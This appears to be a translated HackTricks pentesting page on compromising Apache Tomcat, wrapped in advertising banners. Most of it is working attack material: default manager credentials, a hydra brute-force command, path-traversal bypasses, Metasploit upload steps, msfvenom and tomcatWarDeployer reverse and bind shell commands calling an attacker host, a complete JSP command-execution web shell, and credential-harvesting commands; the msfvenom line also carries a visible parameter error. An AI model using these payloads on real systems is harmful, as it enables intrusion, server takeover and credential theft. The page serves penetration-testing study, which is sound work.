15 KiB
Tomcat
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!
- Da li radite u cybersecurity kompaniji? Želite li da vidite vašu kompaniju reklamiranu na HackTricks-u? Ili želite da imate pristup najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF formatu? Proverite SUBSCRIPTION PLANS!
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Nabavite zvanični PEASS & HackTricks swag
- Pridružite se 💬 Discord grupi ili telegram grupi ili me pratite na Twitter-u 🐦@carlospolopm.
- Podelite svoje hakovanje trikove slanjem PR-ova na hacktricks repo i hacktricks-cloud repo.
Pronađite najvažnije ranjivosti kako biste ih brže popravili. Intruder prati vašu površinu napada, pokreće proaktivno skeniranje pretnji, pronalazi probleme u celokupnom tehnološkom sklopu, od API-ja do veb aplikacija i cloud sistema. Isprobajte ga besplatno danas.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
Otkrivanje
- Obično se pokreće na portu 8080
- Uobičajena Tomcat greška:
Enumeracija
Identifikacija verzije
Da biste pronašli verziju Apache Tomcat-a, može se izvršiti jednostavna komanda:
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
Ovo će pretražiti termin "Tomcat" na stranici indeksa dokumentacije, otkrivajući verziju u oznaci naslova HTML odgovora.
Lokacija datoteka upravitelja
Identifikacija tačnih lokacija direktorijuma /manager
i /host-manager
je ključna jer se njihova imena mogu promeniti. Preporučuje se pretraga metodom brute-force kako bi se pronašle ove stranice.
Enumeracija korisničkih imena
Za Tomcat verzije starije od 6, moguće je enumerisati korisnička imena putem:
msf> use auxiliary/scanner/http/tomcat_enum
Podrazumevane akreditacije
Direktorijum /manager/html
je posebno osetljiv jer omogućava otpremanje i implementaciju WAR fajlova, što može dovesti do izvršavanja koda. Ovaj direktorijum je zaštićen osnovnom HTTP autentifikacijom, a uobičajene akreditacije su:
- admin:admin
- tomcat:tomcat
- admin:<NIŠTA>
- admin:s3cr3t
- tomcat:s3cr3t
- admin:tomcat
Ove akreditacije se mogu testirati korišćenjem:
msf> use auxiliary/scanner/http/tomcat_mgr_login
Još jedan značajan direktorijum je /manager/status
, koji prikazuje verziju Tomcat-a i operativnog sistema, što pomaže u identifikaciji ranjivosti.
Napad brute force
Da biste pokušali napad brute force na direktorijum manager, možete koristiti:
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
Uz podešavanje različitih parametara u Metasploitu za ciljanje određenog hosta.
Uobičajene ranjivosti
Otkrivanje lozinke u tragovima unazad
Pristup /auth.jsp
može otkriti lozinku u tragovima unazad u povoljnim okolnostima.
Dvostruko kodiranje URL-a
Ranjivost CVE-2007-1860 u mod_jk
omogućava dvostruko kodiranje URL-a za prolazak putem putanje, omogućavajući neovlašćen pristup upravljačkom interfejsu putem posebno kreiranog URL-a.
Da biste pristupili upravljačkom vebu Tomcat-a, idite na: pathTomcat/%252E%252E/manager/html
/examples
Apache Tomcat verzije 4.x do 7.x uključuju primere skripti koje su podložne otkrivanju informacija i napadima preko skripti sa ugrađenim skriptama (XSS). Ove skripte, koje su sveobuhvatno navedene, treba proveriti radi neovlašćenog pristupa i potencijalne zloupotrebe. Pronađite više informacija ovde
- /examples/jsp/num/numguess.jsp
- /examples/jsp/dates/date.jsp
- /examples/jsp/snp/snoop.jsp
- /examples/jsp/error/error.html
- /examples/jsp/sessions/carts.html
- /examples/jsp/checkbox/check.html
- /examples/jsp/colors/colors.html
- /examples/jsp/cal/login.html
- /examples/jsp/include/include.jsp
- /examples/jsp/forward/forward.jsp
- /examples/jsp/plugin/plugin.jsp
- /examples/jsp/jsptoserv/jsptoservlet.jsp
- /examples/jsp/simpletag/foo.jsp
- /examples/jsp/mail/sendmail.jsp
- /examples/servlet/HelloWorldExample
- /examples/servlet/RequestInfoExample
- /examples/servlet/RequestHeaderExample
- /examples/servlet/RequestParamExample
- /examples/servlet/CookieExample
- /examples/servlet/JndiServlet
- /examples/servlet/SessionExample
- /tomcat-docs/appdev/sample/web/hello.jsp
Exploit putanje prolaska
U nekim ranjivim konfiguracijama Tomcat-a možete dobiti pristup zaštićenim direktorijumima u Tomcat-u koristeći putanju: /..;/
Na primer, možda ćete moći pristupiti stranici upravljača Tomcat-a pristupanjem: www.vulnerable.com/lalala/..;/manager/html
Još jedan način za zaobilaženje zaštićenih putanja korišćenjem ovog trika je pristup http://www.vulnerable.com/;param=value/manager/html
RCE (Izvršenje udaljenog koda)
Na kraju, ako imate pristup Tomcat Web Application Manageru, možete otpakovati i implementirati .war datoteku (izvršiti kod).
Ograničenja
Moći ćete implementirati WAR samo ako imate dovoljno privilegija (uloge: admin, manager i manager-script). Detalji se mogu pronaći u datoteci tomcat-users.xml, obično definisanoj u /usr/share/tomcat9/etc/tomcat-users.xml
(varira između verzija) (vidi POST sekciju).
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
Metasploit
Metasploit je popularan alat za testiranje penetracije koji se često koristi za iskorišćavanje ranjivosti u mrežnim servisima. Ovaj alat pruža širok spektar modula i eksploita koji omogućavaju hakerima da izvrše napade na ciljane sisteme. Metasploit takođe pruža mogućnost izrade i prilagođavanja sopstvenih modula za napade.
Da biste koristili Metasploit, prvo morate da instalirate Metasploit Framework na vašem računaru. Nakon instalacije, možete koristiti Metasploit komandnu liniju ili grafički korisnički interfejs (GUI) za izvršavanje napada.
Metasploit ima veliku bazu podataka ranjivosti i eksploita, koja se redovno ažurira. Ova baza podataka omogućava hakerima da brzo pronađu i iskoriste ranjivosti u ciljanim sistemima. Metasploit takođe podržava automatizaciju napada, što olakšava izvršavanje napada u velikom obimu.
Kada koristite Metasploit, važno je da imate dozvolu za testiranje penetracije na ciljanim sistemima. Neovlašćeno korišćenje Metasploita može biti ilegalno i podleže zakonskim sankcijama. Uvek se pridržavajte etičkih smernica i zakona prilikom korišćenja ovog alata.
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit
MSFVenom Reverse Shell
- Kreirajte war datoteku za implementaciju:
msfvenom -p java/shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
- Отпремите
revshell.war
датотеку и приступите јој (/revshell/
):
Везивање и реверзни шел са tomcatWarDeployer.py
У неким сценаријима ово не функционише (на пример, старе верзије sun)
Преузимање
git clone https://github.com/mgeeky/tomcatWarDeployer.git
Obrnuti shell
Obrnuti shell je tehnika koja omogućava hakeru da preuzme kontrolu nad udaljenim računarom putem mreže. Ova tehnika se često koristi tokom testiranja penetracije kako bi se dobila daljinska kontrola nad ciljnim sistemom.
Da biste uspostavili obrnuti shell, prvo morate postaviti "slušajući" server na vašem računaru. Zatim, na ciljnom računaru, morate pokrenuti "shell" koji će se povezati sa vašim serverom. Kada se veza uspostavi, možete izvršavati komande na ciljnom računaru kao da ste fizički prisutni na njemu.
Obrnuti shell može biti veoma koristan tokom testiranja penetracije, jer vam omogućava da istražujete i manipulišete ciljnim sistemom sa udaljene lokacije. Međutim, važno je napomenuti da je upotreba obrnutog šela bez dozvole vlasnika sistema ilegalna i može imati ozbiljne pravne posledice.
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
Bind shell
Bind shell (Veza na čekanju) je vrsta udaljenog pristupa koja omogućava napadaču da uspostavi vezu sa ciljnim računarom i preuzme kontrolu nad njim. Kada se bind shell aktivira na ciljnom računaru, on čeka na dolaznu vezu od napadača. Kada se veza uspostavi, napadač može izvršavati komande na ciljnom računaru i pristupiti njegovim resursima.
Da bi se uspostavila bind shell veza, napadač mora imati pristup ciljnom računaru i instalirati bind shell program na njemu. Ovaj program sluša na određenom portu i čeka na dolazne veze. Kada napadač uspostavi vezu sa ciljnim računarom, on postaje aktivna sesija koju napadač može koristiti za izvršavanje komandi i manipulaciju ciljnim računarom.
Bind shell je često korišćen u napadima na web servere, kao što je Apache Tomcat. Napadač može iskoristiti ranjivost u Tomcatu da bi instalirao bind shell program na serveru i preuzeo kontrolu nad njim. Ovo mu omogućava da izvršava komande na serveru, pristupa fajlovima i bazama podataka, i izvršava druge zlonamerne aktivnosti.
Kada se koristi bind shell, važno je da napadač bude oprezan i ne ostavi tragove na ciljnom računaru. Takođe, ciljani sistem može biti zaštićen firewall-om ili drugim sigurnosnim mehanizmima koji mogu blokirati dolazne veze na određenim portovima. Napadač mora biti svestan ovih ograničenja i prilagoditi svoje metode napada kako bi ih zaobišao.
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
Korišćenje Culsterd
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
Ručna metoda - Web shell
Kreirajte index.jsp sa ovim sadržajem:
<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it
Takođe možete instalirati ovo (omogućava otpremanje, preuzimanje i izvršavanje komandi): http://vonloesch.de/filebrowser.html
Ručna metoda 2
Preuzmite JSP web shell kao što je ovaj i kreirajte WAR datoteku:
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
POST
Ime datoteke sa Tomcat akreditacijama je tomcat-users.xml
find / -name tomcat-users.xml 2>/dev/null
Drugi načini za prikupljanje Tomcat akreditacija:
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
Ostali alati za skeniranje Tomcat-a
Reference
- https://github.com/simran-sankhala/Pentest-Tomcat
- https://hackertarget.com/sample/nexpose-metasploitable-test.pdf
Pronađite najvažnije ranjivosti kako biste ih brže popravili. Intruder prati vašu površinu napada, pokreće proaktivno skeniranje prijetnji, pronalazi probleme u cijelom vašem tehnološkom sklopu, od API-ja do web aplikacija i oblak sustava. Isprobajte ga besplatno danas.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
Naučite hakiranje AWS-a od nule do heroja s htARTE (HackTricks AWS Red Team Expert)!
- Radite li u cybersecurity tvrtki? Želite li vidjeti oglašavanje svoje tvrtke na HackTricks-u? Ili želite imati pristup najnovijoj verziji PEASS-a ili preuzeti HackTricks u PDF-u? Provjerite SUBSCRIPTION PLANS!
- Otkrijte The PEASS Family, našu kolekciju ekskluzivnih NFT-ova
- Nabavite službeni PEASS & HackTricks swag
- Pridružite se 💬 Discord grupi ili telegram grupi ili me pratite na Twitteru 🐦@carlospolopm.
- Podijelite svoje hakirajuće trikove slanjem PR-ova na hacktricks repo i hacktricks-cloud repo.